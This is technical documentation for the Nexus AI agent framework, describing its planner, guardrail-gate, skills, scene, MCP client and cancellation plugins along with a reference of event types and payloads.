thinking.stepPlanning reasoning
io.statusStatus updates during plan generation

How It Works

  1. Receives plan.request with user input
  2. Constructs a prompt asking the LLM to generate a JSON plan
  3. Sends llm.request tagged with Metadata["_source"] so the ReAct agent ignores this response
  4. Parses the LLM response as JSON steps
  5. Emits plan.result with the steps

Approval Modes

ModeBehavior
alwaysUser must explicitly approve before execution
neverPlan is executed immediately
autoThe LLM includes a risk assessment; low-risk plans skip approval

Example Configuration

nexus.planner.dynamic:
  approval: auto
  max_steps: 10
  model_role: reasoning

Static Planner

Returns a pre-configured set of steps from the YAML config. No LLM call is needed — the plan is always the same regardless of input. Useful for enforcing a consistent workflow.

Details

IDnexus.planner.static
DependenciesNone

Configuration

KeyTypeDefaultDescription
approvalstringneverApproval mode: always, never, auto (defaults to never for static)
summarystring(none)Human-readable summary of the plan
stepslist(required)List of step objects

Step Object

KeyTypeRequiredDescription
descriptionstringYesWhat this step does
instructionsstringNoDetailed instructions for the agent

Events

Subscribes To

EventPriorityPurpose
plan.request50Receives plan requests

Emits

EventWhen
plan.resultImmediately returns the configured plan

Example Configuration

nexus.planner.static:
  approval: never
  summary: "Standard coding workflow"
  steps:
    - description: "Analyze the request and identify affected files"
    - description: "Plan the implementation approach"
    - description: "Implement the changes"
    - description: "Verify correctness"
    - description: "Summarize what was done"

With Detailed Instructions

nexus.planner.static:
  approval: always
  summary: "Code review workflow"
  steps:
    - description: "Read the changed files"
      instructions: "Use the file tool to read all files mentioned in the request. Understand the full context."
    - description: "Identify issues"
      instructions: "Check for bugs, security issues, performance problems, and style violations."
    - description: "Write the review"
      instructions: "Summarize findings by severity. Include code suggestions for each issue."

Gates

Gates are plugins that subscribe to before:* events and may veto them before the corresponding action takes effect. They are how Nexus enforces iteration limits, banned content, token budgets, schema validation, rate limits, and similar guardrails — without baking the policy into agents or providers.

Plugins

PluginVetoesPurpose
nexus.gate.endless_loopbefore:llm.requestCap LLM calls per turn (replaces agent max_iterations).
nexus.gate.stop_wordsbefore:llm.request, before:io.outputBlock messages containing banned terms.
nexus.gate.token_budgetbefore:llm.requestCap session token usage.
nexus.gate.rate_limiterbefore:llm.requestThrottle LLM call frequency (pause via gate.llm.retry, not reject).
nexus.gate.prompt_injectionbefore:llm.requestDetect and block prompt-injection patterns in user input.
nexus.gate.json_schemabefore:io.outputValidate output against JSON Schema; LLM-retry on failure.
nexus.gate.output_lengthbefore:io.outputCap response length; LLM-retry to compress.
nexus.gate.content_safetybefore:io.outputBlock or redact PII / secrets / sensitive content.
nexus.gate.context_windowbefore:llm.requestEstimate context size; trigger compaction when approaching the limit.
nexus.gate.tool_filterbefore:llm.requestModify the tool list (allowlist / blocklist).
nexus.gate.approval_policybefore:tool.invoke, before:llm.requestPolicy-driven HITL approvals; emits before:hitl.requested then hitl.requested and applies the operator’s allow/reject/edit.

Configuration

Every gate’s full YAML config — keys, types, defaults — is in the Configuration Reference.

Mechanics

The vetoable event system, priority ordering, and the shared gate.llm.retry pattern are documented in .claude/docs/gates.md. That document is the design-level reference; the configuration reference is the keys-and-defaults reference.

Skills Plugin

Discovers, catalogs, and manages skills — reusable instruction sets that extend the agent’s behavior without writing code.

Details

IDnexus.skills
DependenciesNone

Configuration

KeyTypeDefaultDescription
scan_pathsstring[](none)Directories to scan for skills. Required — no implicit defaults. If empty, no skills are loaded.
trust_projectstringaskTrust level for project-scoped skills: ask (prompt user), always, never
max_active_skillsint10Maximum number of concurrently active skills
catalog_in_system_promptbooltrueInclude skill catalog in the system prompt
disabled_skillsstring[](none)Skills to exclude from discovery

Events

Subscribes To

EventPriorityPurpose
core.boot10Scans for skills at startup
skill.activate50Activates a skill by name
skill.deactivate50Deactivates a skill
skill.resource.read50Reads a skill’s resource files
before:llm.request15Tags requests with _expects_schema for active skills that declare output_schema

Emits

EventWhen
skill.discoverSkills catalog assembled
skill.loadedSkill content loaded for the agent
skill.resource.resultSkill resource content
before:skill.activateBefore activation (vetoable for trust checks)
schema.registerSkill with output_schema activated
schema.deregisterSkill with output_schema deactivated

Skill Discovery

At boot, the plugin scans only the directories listed in the scan_paths config — there are no implicit defaults. If scan_paths is empty or unset, no skills are loaded.

Each directory containing a SKILL.md file under a configured scan path is recognized as a skill. Scope is inferred from the resolved path: directories under the user’s home .nexus or .agents trees are treated as user scope; everything else is treated as project scope.

Tilde paths (~, ~/...) are expanded to the user’s home directory automatically.

nexus.skills:
  scan_paths:
    - ./skills              # project skills, relative to cwd
    - ~/.agents/skills      # user-scope skills (tilde is expanded)
    - /shared/team-skills   # any other directory you want to include

System Prompt Catalog

When catalog_in_system_prompt: true, the plugin registers a prompt section listing available skills in XML format:

<skills>
  <skill name="code-review" scope="project">Review code for quality, bugs, security issues, and style.</skill>
  <skill name="git-workflow" scope="project">Standard git workflow with branching and PR creation.</skill>
</skills>

This lets the agent know which skills exist and can request activation when appropriate.

Trust Levels

Project-scoped skills may be untrusted. The trust_project setting controls behavior:

ModeBehavior
askShow approval dialog before activating project skills
alwaysTrust all project skills automatically
neverBlock all project skill activation

User-scoped skills (paths under the user’s home .nexus or .agents trees) are always trusted.

Example Configuration

nexus.skills:
  trust_project: ask
  max_active_skills: 5
  catalog_in_system_prompt: true
  scan_paths:
    - ./skills
    - /shared/team-skills
  disabled_skills:
    - experimental-skill

For details on creating skills, see Writing Skills.

Scene Store (nexus.scene)

Owns the per-session Scene store and exposes five tools the LLM uses to construct durable, addressable, structured visual output: charts, dashboards, multi-section documents.

Details

IDnexus.scene
Capabilityscene.store
Dependencies(none)
Requires(none)

Configuration

No config keys today — activate the plugin in plugins.active and the default tools register at boot.

Tool surface

ToolArgumentsOutput
scene_createschema (string), content (any)SceneHandle JSON
scene_patchscene_id, patchSceneHandle JSON
scene_getscene_idfull Scene JSON (handle + content + history)
scene_list(none)array of SceneHandle
scene_deletescene_id{"deleted":true}

Map patches merge shallow (keys in the patch overwrite); non-map patches replace content. Schema-specific renderers wanting richer merge semantics can plug a custom Patcher into the in-process scene.MemoryStore.

Persistence

FileWhenContents
<session>/plugins/nexus.scene/scenes.jsonlPer mutationJSONL record of every create / patch / delete. Replay reads this to reconstruct historical state.
<session>/plugins/nexus.scene/scenes.jsonOn ShutdownFull snapshot of every scene at session end. Loaded on next Init for clean restart resume.

Events

Subscribes To

EventPriorityPurpose
tool.invoke50Handle invocations of the scene_* tools.

Emits

EventWhen
tool.registerRegisters each scene_* tool at boot.
tool.result / before:tool.resultPer tool call.
scene.createdPer scene_create. Payload includes content (the initial content).
scene.patchedPer scene_patch. Payload includes content (the full post-merge content).
scene.deletedPer scene_delete.

scene.created and scene.patched carry the scene’s full post-mutation content so bus consumers (e.g. the AG-UI transport’s shared-state mirror) can track scene state without a tool call. The scene store’s own patch semantics are shallow-merge, not RFC 6902, so a consumer needing an RFC 6902 delta diffs the full content itself.

agent_id on scene events flows from Event.Causation.AgentID so sub-agent contributions stay attributable. See scene events for payload shape.

Example

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.react
    - nexus.scene
    - nexus.memory.capped

  nexus.agent.react:
    system_prompt: |
      When building visual output (charts, dashboards, multi-section
      documents), use the scene_create / scene_patch tools to build
      durable, addressable artifacts the UI can render incrementally.

Dynamic Variables Plugin

Injects dynamic system information (date, time, OS, working directory) into the agent’s system prompt.

Details

IDnexus.system.dynvars
DependenciesNone

Configuration

Each variable is opt-in — defaults to false and must be explicitly enabled:

KeyTypeDefaultDescription
dateboolfalseInclude current date
timeboolfalseInclude current time
timezoneboolfalseInclude timezone
cwdboolfalseInclude current working directory
session_dirboolfalseInclude session directory path
osboolfalseInclude operating system

Events

This plugin does not subscribe to or emit any events. It registers a prompt section via the Prompt Registry during initialization.

System Prompt Output

The plugin appends a section like this to the system prompt:

## System Info
- Date: 2026-04-08
- Time: 10:30:00
- Timezone: America/New_York
- OS: darwin
- CWD: /Users/frank/projects/myapp
- Session: ~/.nexus/sessions/abc123

Example Configuration

# Empty config → no variables emitted (every flag defaults to false).
nexus.system.dynvars: {}

# Enable only the variables you want.
nexus.system.dynvars:
  date: true
  cwd: true

Cancel Control Plugin

Coordinates cancellation of in-progress agent operations. Tracks active turns and routes cancellation requests to the appropriate handlers.

Details

IDnexus.control.cancel
DependenciesNone

Configuration

No configuration options.

Events

Subscribes To

EventPriorityPurpose
agent.turn.start10Tracks which turn is active
agent.turn.end10Clears active turn tracking
cancel.request10Receives cancellation requests from I/O
cancel.resume10Receives resume requests

Emits

EventWhen
cancel.activeBroadcasts cancellation to all handlers
io.statusStatus updates

How It Works

  1. When the user triggers a cancel (e.g., pressing a key in the TUI), the I/O plugin emits cancel.request
  2. The cancel controller checks if there’s an active turn
  3. If so, it emits cancel.active with the turn ID
  4. All plugins listening for cancel.active abort their current work (LLM provider cancels the API call, agent stops iterating)
  5. When the user resumes, cancel.resume restarts the flow

When to Use

Include this plugin when using agents that support cancellation (ReAct, Plan & Execute, Orchestrator). It’s essential for interactive workflows where the user may want to interrupt long-running operations.

plugins:
  active:
    - nexus.control.cancel
    # ... other plugins

MCP client

Bridges one or more Model Context Protocol servers into Nexus. Each configured server contributes its tools, resources, and prompts to the running agent through the existing event bus surfaces — agents and IO plugins don’t need any MCP awareness.

Details

IDnexus.mcp.client
Sourceplugins/mcp/client/
Capabilitymcp.client
Phase1 (no sampling; see GitHub #98)

The plugin is developer-configured: end users never see “MCP” in the UI. Tools land in the catalog under the namespace mcp__<server>__<tool>, prompts surface as slash commands of the form /mcp.<server>.<prompt>, and resources show up as catalog tools (one generic browse/read pair per server plus auto-registered statics and templates).

Quick start

plugins:
  active:
    - nexus.mcp.client
    # ...your usual agent + provider + IO plugins

  nexus.mcp.client:
    servers:
      - name: fs
        transport: stdio
        command: npx
        args: ["-y", "@modelcontextprotocol/server-filesystem", "~/projects"]
        env:
          NODE_ENV: production

      - name: gh
        transport: http
        url: http://localhost:3001/mcp
        headers:
          Authorization: "Bearer ${GITHUB_MCP_TOKEN}"
        timeout: 60s
        tools:
          allow: ["search_issues", "get_pr", "review_pr"]

Boot order matters only for capabilities — MCP tools are emitted via tool.register after Ready(), so any plugin that depends on the catalog being populated should subscribe rather than reading it once during init.

Tools

Every MCP tool returned from tools/list is registered into the Nexus catalog as mcp__<server>__<raw_name>. The tool’s MCP input schema becomes the catalog Parameters map verbatim, so the LLM sees the exact schema the server published.

Three generic tools are also registered per server, regardless of what the server returns:

  • mcp__<server>__list_resources() — returns the JSON catalog of currently available resources.
  • mcp__<server>__read_resource(uri) — reads a resource by URI.
  • For each static resource (up to auto_register_max) — a no-arg mcp__<server>__resource__<slug> tool that reads that specific URI.
  • For each resource template — mcp__<server>__template__<slug> whose input schema mirrors the template variables.

Filter what the catalog sees with tools.allow / tools.deny. Both lists match the raw MCP tool name (no mcp__ prefix), and deny always wins.

Resources

Resources surface as catalog tools rather than a separate event family. This keeps the LLM-callable surface uniform: it can list_resources() to discover, read_resource(uri) to fetch, or call an auto-registered slug for a single resource.

Static-resource auto-registration is capped at resources.auto_register_max (default 50). Above the cap the plugin skips per-resource registration and falls back to the generic list_resources/read_resource pair so the catalog doesn’t bloat.

Slugs are deterministic: slug(title|name|URI) + "_" + sha1(uri)[:8]. They stay stable across server restarts as long as the server returns the same URI.

When resources.subscribe_updates is true (default), the plugin subscribes to every auto-registered static. Each notifications/resources/updated from the server emits an mcp.resource.updated event onto the Nexus bus. No core consumer reads this in Phase 1 — it’s plumbed for future RAG ingest / memory plugins.

Prompts

Prompts surface as slash commands. The command shape is /<command_prefix>.<server>.<prompt>, lowercase, underscores. With command_prefix: mcp (default) and a server gh exposing a prompt review_pr, the slash command is /mcp.gh.review_pr.

Arguments use a hybrid positional + k=v syntax:

/mcp.gh.review_pr 123 verbose=true comment="needs benchmarks"
  • Positional values map to the prompt’s declared arguments in order.
  • k=v values can appear anywhere; quoting with "…" allows spaces.
  • Missing required arguments fail before the command is dispatched.
  • Unknown keys fail as well, so typos are surfaced.

When the user fires a slash command, the plugin:

  1. Vetoes the original before:io.input so memory plugins don’t record the literal slash text.
  2. Calls prompts/get on the right server with the parsed arguments.
  3. Translates the returned Message[] into a []events.Message keeping each role.
  4. Emits a fresh io.input whose PreloadMessages carries those messages. The downstream memory plugins append them in order; the agent runs as if the user had typed normally.

This routing depends on the UserInput.PreloadMessages field (schema v2). All in-tree memory plugins (capped, simple, summary_buffer) honour it. Third-party memory plugins that pin to UserInputVersion = 1 continue to work — PreloadMessages is an optional slice on the v2 struct.

Aliases

nexus.mcp.client:
  aliases:
    review: gh.review_pr

/review topic=plan rewrites to /mcp.gh.review_pr topic=plan before dispatch. Aliases are useful when a single MCP prompt is the canonical entry point for a workflow.

Discovery

IO plugins (and a future /help style command) can list the registered slash commands with a synchronous query:

q := &events.MCPPromptsList{SchemaVersion: events.MCPPromptsListVersion}
_ = bus.Emit("mcp.prompts.list", q)
for _, p := range q.Prompts {
    // p.Command, p.Server, p.Prompt, p.Title, p.Description, p.Arguments
}

Lifecycle

lifecycle: engine (default) keeps a single connection alive for the engine’s lifetime. Tools/resources/prompts are registered once at boot. Best for almost every developer scenario.

lifecycle: session connects on io.session.start and disconnects on io.session.end. Use when the MCP server holds per-session state that can’t be expressed via MCP roots (rare today, but legal).

Failures during boot are logged at error but do not block the rest of the engine — a single broken server doesn’t take down a Nexus session.

Transports

stdio (default) launches a subprocess and speaks JSON-RPC over its stdin/stdout. The official modelcontextprotocol/go-sdk handles framing and lifecycle.

http uses the streamable HTTP transport. The SDK negotiates the session header; configure auth headers via headers (injected on every request through a wrapping http.RoundTripper). The legacy SSE transport is deliberately not exposed.

inprocess wires an in-memory transport pair (mcp.NewInMemoryTransports()) to an *mcp.Server the embedding host built and handed to the plugin. No subprocess is launched and no socket is dialled. This is the transport for hosts that embed Nexus and already have MCP tools implemented in the same binary. See In-process servers below.

In-process servers

transport: inprocess connects to a live *mcp.Server owned by the host process instead of launching one. The wiring has two halves that must agree: a Go call that registers the server under an opaque key, and a YAML server: value naming that same key.

The server key

Required fortransport: inprocess (the config schema rejects the boot without it)
Typenon-empty string
MeaningAn opaque, host-chosen key. It is never parsed, matched against a pattern, or derived from anything — it only has to be byte-identical to the key passed to client.RegisterInProcessServer.

If the key is absent, boot fails during schema validation naming the key. If the key is present but unregistered, boot succeeds — a broken MCP server never blocks the engine — and the connect fails with no host-injected server registered under key "…" logged at error. The symptom is a missing mcp__<server>__* namespace, not a crash.

Wiring order: register before engine.Boot

RegisterInProcessServer(key, srv) must be called before engine.Boot(ctx).

The plugin resolves the key while connecting, and for the default lifecycle: engine that connect happens during boot. A registration made after Boot returns is too late: the connect has already failed and the server’s tools are absent for the rest of the engine’s life. (With lifecycle: session the lookup happens at each io.session.start instead, but registering before Boot is correct for both and is the rule to follow.)

Worked example

package main

import (
	"context"
	"fmt"
	"os"

	"github.com/modelcontextprotocol/go-sdk/mcp"

	"github.com/frankbardon/nexus/pkg/engine"
	"github.com/frankbardon/nexus/pkg/engine/allplugins"
	mcpclient "github.com/frankbardon/nexus/plugins/mcp/client"
)

// echoInput is the typed argument for the host's tool; the SDK derives the
// tool's JSON schema from this struct.
type echoInput struct {
	Text string `json:"text"`
}

func main() {
	ctx := context.Background()

	// 1. Build the MCP server in this process with the official SDK.
	srv := mcp.NewServer(&mcp.Implementation{Name: "host-tools", Version: "v0"}, nil)
	mcp.AddTool(srv, &mcp.Tool{
		Name:        "echo",
		Description: "Echo the input text back.",
	}, func(_ context.Context, _ *mcp.CallToolRequest, in echoInput) (*mcp.CallToolResult, any, error) {
		return &mcp.CallToolResult{
			Content: []mcp.Content{&mcp.TextContent{Text: "echo: " + in.Text}},
		}, nil, nil
	})

	// 2. Register it under a key BEFORE Boot. The YAML `server:` value must
	//    be exactly this string.
	mcpclient.RegisterInProcessServer("host-tools", srv)

	// 3. Boot as usual. The plugin resolves "host-tools" during Boot and
	//    connects over the in-memory transport.
	eng, err := engine.New("nexus.yaml")
	if err != nil {
		fmt.Fprintf(os.Stderr, "engine: %v\n", err)
		os.Exit(1)
	}
	allplugins.RegisterAll(eng.Registry)

	if err := eng.Boot(ctx); err != nil {
		fmt.Fprintf(os.Stderr, "boot: %v\n", err)
		os.Exit(1)
	}
	defer func() { _ = eng.Stop(context.Background()) }()

	// An embedding host owns the lifecycle and blocks however it likes —
	// here, until a plugin ends the session. Don't call eng.Run: that is the
	// stock CLI wrapper, it calls Boot itself and it owns signal handling.
	<-eng.SessionEnded()
}

The matching nexus.yaml block:

plugins:
  active:
    - nexus.mcp.client

  nexus.mcp.client:
    servers:
      - name: host
        transport: inprocess
        server: host-tools   # must equal the RegisterInProcessServer key
        lifecycle: engine

The echo tool then reaches the agent as mcp__host__echo, exactly as if it had come from a subprocess server.

The registry is process-wide

RegisterInProcessServer writes into a package-level, process-wide map. It is not scoped to an engine, an agent, or a session. Two engines booted in the same process share one key namespace, and a later registration under an existing key silently replaces the earlier one.

The concrete failure in a multi-tenant host: tenant A registers its server under host-tools, then tenant B registers its server under host-tools too. The map now holds B’s server, and tenant A’s YAML — which still says server: host-tools — connects to tenant B’s MCP server. Tenant A’s agent then calls tools bound to tenant B’s data. Nothing errors; the tools are present and answer normally.

Scope the key per tenant or per agent to avoid this, and derive the YAML value from the same identifier rather than hard-coding it — for a per-tenant engine built with engine.NewFromBytes, render the server: value into the config bytes from the same variable used for the registration key:

key := "tenant-" + tenantID + "/host-tools"
mcpclient.RegisterInProcessServer(key, srv)
// ...render `server: <key>` into the per-tenant config bytes, then
// engine.NewFromBytes(cfg) → RegisterAll → Boot.

Cleaning up: UnregisterInProcessServer

mcpclient.UnregisterInProcessServer(key)

Removes the registration. Because the map is process-wide, tests must unregister in cleanup or one test’s server stays visible to every later test in the package:

mcpclient.RegisterInProcessServer(key, srv)
t.Cleanup(func() { mcpclient.UnregisterInProcessServer(key) })

Hosts whose servers live for the whole process lifetime do not need to call it. Long-lived hosts that tear down a tenant should, so the key does not linger for the next tenant that reuses it.

Why the registry lives in the plugin package

The natural home for a host-injection seam is pkg/engine, next to eng.Registry.Register(id, factory) — the existing precedent for handing host-constructed objects to the engine before Boot. This one cannot live there: the injected object is an *mcp.Server, and the engine core deliberately does not import the MCP SDK. Only this plugin does. Putting the registry on pkg/engine would drag github.com/modelcontextprotocol/go-sdk across the engine boundary and into every binary that links the engine, MCP or not. So the registry stays in plugins/mcp/client (injected.go) and hosts import the plugin package directly.

Sampling

MCP sampling (server-asks-host-to-call-an-LLM) is deferred to Phase 2. Tracked in issue #98.

Testing

The integration tests in tests/integration/mcp_client_test.go build the fake MCP server at tests/integration/mcp_fake/ and exercise the plugin end-to-end over stdio. Run with:

go test -tags integration ./tests/integration/ -run TestMCPClient -v

No LLM provider key is required — the tests drive the bus directly and observe the plugin’s catalog, resource, and prompt projections.

The inprocess transport is covered by unit tests in plugins/mcp/client/inprocess_test.go (go test ./plugins/mcp/client/), which build a one-tool, one-resource *mcp.Server, register it, and drive tool.invoke through the in-memory transport. They are the shortest runnable reference for the wiring described in In-process servers.

Event Types Reference

Complete reference for all event types in Nexus, organized by domain.

Core Events

Event TypePayloadDescription
core.bootBootConfigEngine boot started
core.ready(none)All plugins initialized and ready
core.shutdownShutdownReasonEngine shutting down
core.tickTickInfoPeriodic heartbeat
core.errorErrorInfoError reported by a plugin
core.config.reload.requestConfigReloadRequestExternal trigger asks the engine to re-read its config
core.config.reload.resultConfigReloadResultEngine response to a reload request (success / error)

Payloads

BootConfig

FieldTypeDescription
ConfigPathstringPath to the config file
ProfilestringProfile name

ShutdownReason

FieldTypeDescription
ReasonstringWhy: "user", "error", or "signal"
ErrorerrorAssociated error (if any)

TickInfo

FieldTypeDescription
SequenceintTick counter
Timetime.TimeWhen the tick occurred

ErrorInfo

FieldTypeDescription
SourcestringPlugin that reported the error
ErrerrorThe error
FatalboolWhether this should trigger shutdown
RetryableboolWhether this error class is retryable (429, 5xx)
RetriesExhaustedboolProvider’s own retry logic gave up
RequestMetamap[string]anyEcho of LLMRequest.Metadata for correlation

core.error is vetoable — providers emit before:core.error first. The fallback plugin can veto the error to suppress it and retry with an alternate provider.


I/O Events

Event TypePayloadDescription
io.inputUserInputUser submitted a message
io.outputAgentOutputAgent produced output
io.output.streamOutputChunkStreaming output chunk
io.output.stream.endStreamRefStreaming complete
io.output.clear(none)Clear partial streamed content (used by fallback)
io.statusStatusUpdateAgent state changed
io.approval.requestApprovalRequestApproval needed for an action
io.approval.responseApprovalResponseUser responded to approval
io.askAskUserAgent asking user a question
io.ask.responseAskUserResponseUser answered the question
io.history.replayHistoryReplayReplaying conversation on resume
io.session.startSessionInfoSession started
io.session.end(none)Session ended

Payloads

UserInput

FieldTypeDescription
ContentstringMessage text
Files[]FileAttachmentAttached files
SessionIDstringCurrent session

FileAttachment

FieldTypeDescription
NamestringFilename
MimeTypestringMIME type
Data[]byteFile contents

AgentOutput

FieldTypeDescription
ContentstringOutput text
Rolestring"assistant", "system", or "tool"
Metadatamap[string]anyAdditional context
TurnIDstringAssociated turn

OutputChunk

FieldTypeDescription
ContentstringChunk text
TurnIDstringAssociated turn
IndexintChunk sequence number

StatusUpdate

FieldTypeDescription
Statestring"idle", "thinking", "tool_running", "streaming"
DetailstringAdditional info
ToolIDstringTool being run (if applicable)

ApprovalRequest

FieldTypeDescription
PromptIDstringUnique identifier for this approval
DescriptionstringWhat needs approval
ToolCallanyThe tool call details
Riskstring"low", "medium", "high"

ApprovalResponse

FieldTypeDescription
PromptIDstringMatches the request
ApprovedboolWhether approved
AlwaysboolRemember this decision

AskUser

FieldTypeDescription
PromptIDstringUnique identifier
QuestionstringThe question text
TurnIDstringAssociated turn

AskUserResponse

FieldTypeDescription
PromptIDstringMatches the request
AnswerstringUser’s response

Provider Events

Event TypePayloadDescription
provider.fallbackProviderFallbackProvider switch due to failure
provider.fanout.startProviderFanoutStartParallel fanout initiated
provider.fanout.responseProviderFanoutResponseIndividual provider responded
provider.fanout.completeProviderFanoutCompleteAll fanout responses collected

Payloads

ProviderFallback

FieldTypeDescription
RolestringModel role being resolved
FailedProviderstringPlugin ID of the provider that failed
FailedModelstringModel that failed
ErrorstringError description
NextProviderstringPlugin ID of the fallback provider
NextModelstringModel being tried next
Attemptint0-based index in the fallback chain

ProviderFanoutStart

FieldTypeDescription
FanoutIDstringUnique fanout sequence identifier
RolestringModel role being resolved
StrategystringSelection strategy (all, llm_judge, heuristic, user)
Targets[]ProviderFanoutTargetProviders being dispatched to

ProviderFanoutTarget

FieldTypeDescription
ProviderstringPlugin ID
ModelstringModel identifier

ProviderFanoutResponse

FieldTypeDescription
FanoutIDstringFanout sequence identifier
ProviderstringPlugin ID that responded
ModelstringModel that responded
Successboolfalse if provider errored or timed out
ErrorstringNon-empty on failure

ProviderFanoutComplete

FieldTypeDescription
FanoutIDstringFanout sequence identifier
RolestringModel role
StrategystringSelection strategy used
SucceededintNumber of successful responses
FailedintNumber of errors or timeouts

LLM Events

Event TypePayloadDescription
llm.requestLLMRequestRequest to an LLM provider
llm.responseLLMResponseComplete LLM response
llm.stream.chunkStreamChunkStreaming response chunk
llm.stream.endStreamEndStreaming complete

Payloads

LLMRequest

FieldTypeDescription
RolestringModel role name (resolved by provider)
ModelstringExplicit model ID (optional, overrides role)
Messages[]MessageConversation messages
Tools[]ToolDefAvailable tools
ToolChoice*ToolChoiceTool choice constraint (nil = provider default)
ToolFilter*ToolFilterTool include/exclude filter (nil = no filtering)
ResponseFormat*ResponseFormatStructured output constraint (nil = no constraint)
MaxTokensintMax response tokens
Temperature*float64Sampling temperature (nil = provider default)
StreamboolEnable streaming
Metadatamap[string]anyAdditional context (e.g., _source for planner tagging)

Message

FieldTypeDescription
Rolestring"system", "user", "assistant", "tool"
ContentstringMessage text
ToolCallIDstringFor tool role: which call this responds to
ToolCalls[]ToolCallRequestFor assistant role: tool calls made

ToolCallRequest

FieldTypeDescription
IDstringUnique call identifier
NamestringTool name
ArgumentsstringJSON-encoded arguments

ToolDef

FieldTypeDescription
NamestringTool name
DescriptionstringWhat the tool does
ParametersstringJSON Schema for parameters

ToolChoice

FieldTypeDescription
Modestring"auto", "required", "none", "tool"
NamestringTool name (only when Mode is "tool")

ToolFilter

FieldTypeDescription
Include[]stringOnly these tools (empty = all). Takes precedence over Exclude
Exclude[]stringRemove these tools

ResponseFormat

FieldTypeDescription
Typestring"text", "json_object", or "json_schema"
NamestringSchema name (required by OpenAI for json_schema type)
Schemamap[string]anyJSON Schema definition
StrictboolEnforce strict schema adherence

Metadata Conventions

Certain metadata keys carry special meaning:

KeyOnTypeDescription
_sourceLLMRequest / LLMResponsestringCorrelates retry requests with responses (used by gates)
_expects_schemaLLMRequeststringSchema name to attach via the schema registry
_structured_outputLLMResponsebooltrue when provider enforced structured output (native or simulated)

LLMResponse

FieldTypeDescription
ContentstringResponse text
ToolCalls[]ToolCallRequestTool calls in the response
UsageUsageToken usage statistics
CostUSDfloat64Provider-computed cost in USD for this request
ModelstringModel that was used
FinishReasonstringWhy the response ended
Metadatamap[string]anyAdditional context
Alternatives[]LLMResponseAdditional responses from parallel fanout providers (nil for non-fanout)

Usage

FieldTypeDescription
PromptTokensintInput tokens consumed
CompletionTokensintOutput tokens generated
TotalTokensintTotal tokens
ReasoningTokensintThinking / reasoning tokens (Gemini 2.5 thoughtTokenCount, etc.)
CachedTokensintTokens served from a prompt cache
CacheWriteTokensintTokens written into a prompt cache
ModalityBreakdownmap[string]intPer-modality token counts when the provider reports them. Lowercase keys: text, image, audio, video, document. Empty when the provider does not split modalities (Anthropic) or the request was text-only. Cost-attribution consumers read this to bill image / audio turns separately.

Multimodal tool results

ToolResult carries an OutputParts []MessagePart field for tools that emit multimodal content (image, audio, document, video). When non-empty, memory plugins copy the parts onto the resulting tool-role Message.Parts so the next LLM request includes the multimodal content alongside (or in place of) Output.

Large payloads should be stored via pkg/engine/blobs and referenced via MessagePart.URI = "nexus-blob:<sha256>" so the journal stays compact; small payloads can ride inline as MessagePart.Data. Provider plugins resolve nexus-blob: URIs at request-assembly time.

StreamChunk

FieldTypeDescription
ContentstringChunk text
ToolCall*ToolCallRequestPartial tool call (if applicable)
IndexintChunk sequence number
TurnIDstringAssociated turn

StreamEnd

FieldTypeDescription
TurnIDstringAssociated turn
UsageUsageFinal token usage
FinishReasonstringWhy the stream ended

Tool Events

Event TypePayloadDescription
tool.registerToolDefTool available for use
before:tool.invokeToolCallBefore tool execution (vetoable)
tool.invokeToolCallTool invocation
before:tool.resultToolResultBefore tool result propagation (vetoable)
tool.resultToolResultTool execution result

Payloads

ToolCall

FieldTypeDescription
IDstringCall identifier
NamestringTool name
Argumentsmap[string]anyParsed arguments
TurnIDstringAssociated turn

ToolResult

FieldTypeDescription
IDstringMatches the call ID
NamestringTool name
OutputstringHuman-readable result text (what the LLM sees)
ErrorstringError message (if failed)
OutputFilestringPath to output file (optional)
OutputData[]byteBinary output data (optional)
OutputStructuredmap[string]anyOptional structured payload. When the tool’s ToolDef.OutputSchema is set, this should match that schema. Consumed by typed consumers like run_code’s bindings — Output stays freeform text for the LLM.
TurnIDstringAssociated turn

ToolDef

FieldTypeDescription
NamestringTool name the LLM will use
DescriptionstringDescription shown to the LLM
Parametersmap[string]anyJSON Schema for inputs
OutputSchemamap[string]anyOptional JSON Schema describing the shape of ToolResult.OutputStructured. When set, run_code generates a typed Go struct bound to this schema.
Class / Subclass / Tagsstring / []stringSemantic metadata for filtering

Code Execution Events

Emitted by nexus.tool.code_exec alongside the standard tool.invoke/tool.result pair. Let other plugins observe programmatic tool-calling scripts without recomputing the run_code envelope from a tool result.

Event TypePayloadDescription
code.exec.requestCodeExecRequestScript about to run; carries source, imports, active skills
code.exec.stdoutCodeExecStdoutIncremental stdout chunk produced while the script runs; Final=true marks the last chunk
code.exec.resultCodeExecResultScript finished (success, compile error, runtime error, veto, or timeout)

CodeExecRequest

FieldTypeDescription
CallIDstringMatches the outer run_code tool call ID
TurnIDstringAssociated turn
ScriptstringFull Go source submitted by the LLM
Imports[]stringImport paths referenced by the script
Skills[]stringNames of currently-active skills whose helpers were staged

CodeExecStdout

FieldTypeDescription
CallIDstringMatches the outer run_code tool call ID
TurnIDstringAssociated turn
ChunkstringUTF-8 bytes written to stdout since the last emission; may contain newlines
FinalboolTrue for the closing chunk of this call; code.exec.result follows immediately after
TruncatedboolOnly meaningful on the final chunk — true when total stdout exceeded max_output_bytes

Chunks are flushed on every newline and on a ~512-byte threshold so long lines without newlines still reach the UI promptly. Consumers should concatenate Chunk values across events to reconstruct the full stdout stream; the final CodeExecResult.Output also carries the full aggregated string for non-streaming consumers.

CodeExecResult

FieldTypeDescription
CallIDstringMatches the outer run_code tool call ID
TurnIDstringAssociated turn
OutputstringCaptured stdout (capped at max_output_bytes)
ResultstringJSON-marshaled Run() return value
ErrorstringFirst error encountered (AST rejection, compile, runtime, timeout)
Durationint64Execution wall time in milliseconds
TruncatedboolStdout was truncated by the output cap

Agent Events

Event TypePayloadDescription
agent.turn.startTurnInfoAgent began processing
agent.turn.endTurnInfoAgent finished processing
agent.planPlanAgent’s current plan
agent.tool_choiceAgentToolChoiceDynamic tool choice override

Payloads

TurnInfo

FieldTypeDescription
TurnIDstringUnique turn identifier
IterationintCurrent iteration count
SessionIDstringCurrent session

Plan

FieldTypeDescription
Steps[]PlanStepPlan steps
TurnIDstringAssociated turn

PlanStep

FieldTypeDescription
DescriptionstringWhat this step does
Statusstring"pending", "active", "completed", "failed"

AgentToolChoice

FieldTypeDescription
Modestring"auto", "required", "none", "tool"
ToolNamestringTool name when Mode is "tool"
Durationstring"once" (next request only) or "sticky" (until replaced)

Subagent Events

Event TypePayloadDescription
subagent.spawnSubagentSpawnSubagent creation requested
subagent.startedSubagentStartedSubagent began execution
